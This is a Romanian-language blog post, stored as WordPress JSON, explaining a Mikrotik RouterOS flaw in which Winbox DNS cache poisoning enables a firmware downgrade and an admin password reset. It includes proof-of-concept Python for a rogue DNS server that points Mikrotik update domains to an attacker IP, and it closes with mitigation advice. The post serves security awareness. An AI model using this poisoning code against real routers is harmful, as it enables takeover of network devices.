{"id":39604,"date":"2019-10-31T22:36:42","date_gmt":"2019-10-31T19:36:42","guid":{"rendered":"https:\/\/prohoster.info\/blog\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv\/"},"modified":"2019-10-31T22:36:42","modified_gmt":"2019-10-31T19:36:42","slug":"backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","status":"publish","type":"post","link":"https:\/\/prohoster.info\/ro\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","title":{"rendered":"Vulnerabilitatea Backport \u00een RouterOS pune \u00een pericol sute de mii de dispozitive","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

\"Vulnerabilitatea
\n
\nPosibilitatea de a downgradea de la distan\u021b\u0103 dispozitivele pe baz\u0103 de RouterOS (Mikrotik) pune \u00een pericol sute de mii de dispozitive de re\u021bea. Vulnerabilitatea este legat\u0103 de otr\u0103virea cache-ului DNS Winbox \u0219i permite \u00eenc\u0103rcarea unui firmware \u00eenvechit (cu resetarea parolei la cea \u201eimplicit\u0103\u201d) sau modificat pe dispozitiv.
\n<\/a><\/noindex>
\n\"Vulnerabilitatea
\n<\/p>\n

Detalii despre vulnerabilitate<\/h3>\n

\nTerminalul RouterOS suport\u0103 comanda resolve pentru a c\u0103uta DNS.<\/p>\n

\"Vulnerabilitatea
\n
\nAceast\u0103 cerere este procesat\u0103 de un fi\u0219ier binar numit resolver. Resolverul este unul dintre cele multe fi\u0219iere binare conectate la protocolul Winbox de la RouterOS. La un nivel \u00eenalt, mesajele trimise pe portul Winbox pot fi rutate \u00een diverse fi\u0219iere binare din RouterOS pe baza unei scheme de numerotare bazate pe tablouri.<\/p>\n

Prin default, func\u021bia de server DNS este dezactivat\u0103 \u00een RouterOS.<\/p>\n

\"Vulnerabilitatea
\n
\nCu toate acestea, chiar \u0219i cu func\u021bia serverului dezactivat\u0103, routerul \u00ee\u0219i men\u021bine propriul cache DNS.<\/p>\n

\"Vulnerabilitatea
\n
\nC\u00e2nd facem o cerere folosind winbox_dns_request, de exemplu, example.com, routerul va cachea rezultatul.<\/p>\n

\"Vulnerabilitatea
\n
\nDeoarece putem specifica serverul DNS prin care trebuie s\u0103 treac\u0103 cererea, introducerea adreselor gre\u0219ite este u\u0219or de realizat. De exemplu, putem configura implementarea serverului DNS de la Philipp Klaus<\/a><\/noindex>, pentru a r\u0103spunde \u00eentotdeauna cu un r\u0103spuns A care con\u021bine adresa IP 192.168.88.250.<\/p>\n

def dns_response(data):\n    request = DNSRecord.parse(data)\n    reply = DNSRecord(DNSHeader(\n        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n    qname = request.q.qname\n    qn = str(qname)\n    reply.add_answer(RR(qn,ttl=30,rdata=A(\"192.168.88.250\")))\n    print(\"---- Reply:n\", reply)\n    return reply.pack()<\/code><\/pre>\n
\nAcum, dac\u0103 c\u0103ut\u0103m example.com folosind Winbox, putem vedea c\u0103 cache-ul DNS al routerului este otr\u0103vit.<\/p>\n
\"Vulnerabilitatea
\n
\nDesigur, otr\u0103virea example.com nu este foarte util\u0103, deoarece routerul efectiv nu \u00eel va folosi. Cu toate acestea, routerul trebuie s\u0103 acceseze upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com \u0219i download.mikrotik.com. \u0218i gra\u021bie unei alte erori, exist\u0103 posibilitatea de a le otr\u0103vi pe toate simultan.<\/p>\n
def dns_response(data):\n    request = DNSRecord.parse(data)\n    reply = DNSRecord(DNSHeader(\n        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n    qname = request.q.qname\n    qn = str(qname)\n    reply.add_answer(RR(qn,ttl=30,rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"upgrade.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"cloud.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"cloud2.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"download.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    print(\"---- Reply:n\", reply)\n    return reply.pack()<\/code><\/pre>\n
\nRouterul solicit\u0103 o singur\u0103 permisiune, iar noi oferim cinci \u00eenapoi. Routerul stocheaz\u0103 gre\u0219it toate aceste r\u0103spunsuri.<\/p>\n
\"Vulnerabilitatea
\n
\nEste evident c\u0103 acest atac este, de asemenea, util dac\u0103 routerul func\u021bioneaz\u0103 ca un server DNS, deoarece permite atacarea clien\u021bilor routerului.<\/p>\n
De asemenea, acest atac permite exploatarea unei vulnerabilit\u0103\u021bi mai severe: realizarea unui downgrade sau a unei retroport\u0103ri a versiunii RouterOS. Atacatorul re-creeaz\u0103 logica serverului de actualiz\u0103ri, inclusiv changelog-ul, \u0219i for\u021beaz\u0103 RouterOS s\u0103 perceap\u0103 o versiune \u00eenvechit\u0103 (vulnerabil\u0103) ca fiind actual\u0103. Pericolul const\u0103 \u00een faptul c\u0103, \u00een timpul \"actualiz\u0103rii\" versiunii, parola administratorului este resetat\u0103 la valoarea \"default\" \u2014 atacatorul poate accesa sistemul cu o parol\u0103 goal\u0103!<\/p>\n
\r\n        \"Reda\u021bi\r\n        
<\/div>\r\n    <\/div><\/center>
\nAtacul este complet func\u021bional, \u00een ciuda faptului c\u0103 autorul<\/a><\/noindex> implementeaz\u0103 \u0219i alte c\u00e2teva vectori, inclusiv \u0219i incorporarea unui backdoor \u00een firmware<\/a><\/noindex>, dar aceasta este deja o tehnic\u0103 redundant\u0103 \u0219i utilizarea sa \u00een scopuri nelegitime este ilegal\u0103.<\/p>\n
Protecci\u00f3n<\/h3>\n
\nDezactivarea simpl\u0103 a Winbox-ului ajut\u0103 la protejarea \u00eempotriva acestor atacuri. \u00cen ciuda comodit\u0103\u021bii oferite de administrarea prin Winbox, este mai bine s\u0103 folose\u0219ti protocolul SSH.
\n
Sursa: habr.com<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0430\u0443\u043d\u0433\u0440\u0435\u0439\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430 \u0431\u0430\u0437\u0435 RouterOS (Mikrotik) \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0441\u043e\u0442\u043d\u0438 \u0442\u044b\u0441\u044f\u0447 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0442\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c DNS-\u043a\u0435\u0448\u0430 Winbox \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0443\u044e (\u0441\u043e \u0441\u0431\u0440\u043e\u0441\u043e\u043c \u043f\u0430\u0440\u043e\u043b\u044f \u00ab\u043f\u043e-\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e\u00bb) \u0438\u043b\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e. \u0414\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b RouterOS \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 DNS. \u042d\u0442\u043e\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u0441 \u0438\u043c\u0435\u043d\u0435\u043c resolver. Resolver \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":39605,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-39604","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Vulnerabilitatea Backport \u00een RouterOS pune \u00een pericol sute de mii de dispozitive | ProHoster","description":"Posibilitate.","canonical_url":"https:\/\/prohoster.info\/ro\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"ro_RO","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47Backport \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 RouterOS \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0441\u043e\u0442\u043d\u0438 \u0442\u044b\u0441\u044f\u0447 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 | ProHoster","og:description":"\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c.","og:url":"https:\/\/prohoster.info\/ro\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2019-10-31T19:36:42+00:00","article:modified_time":"2019-10-31T19:36:42+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"39604","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-24 02:24:21","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-03-01 00:47:24","updated":"2026-01-24 02:24:21","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts\/39604","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/comments?post=39604"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/posts\/39604\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/media\/39605"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/media?parent=39604"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/categories?post=39604"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/ro\/wp-json\/wp\/v2\/tags?post=39604"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}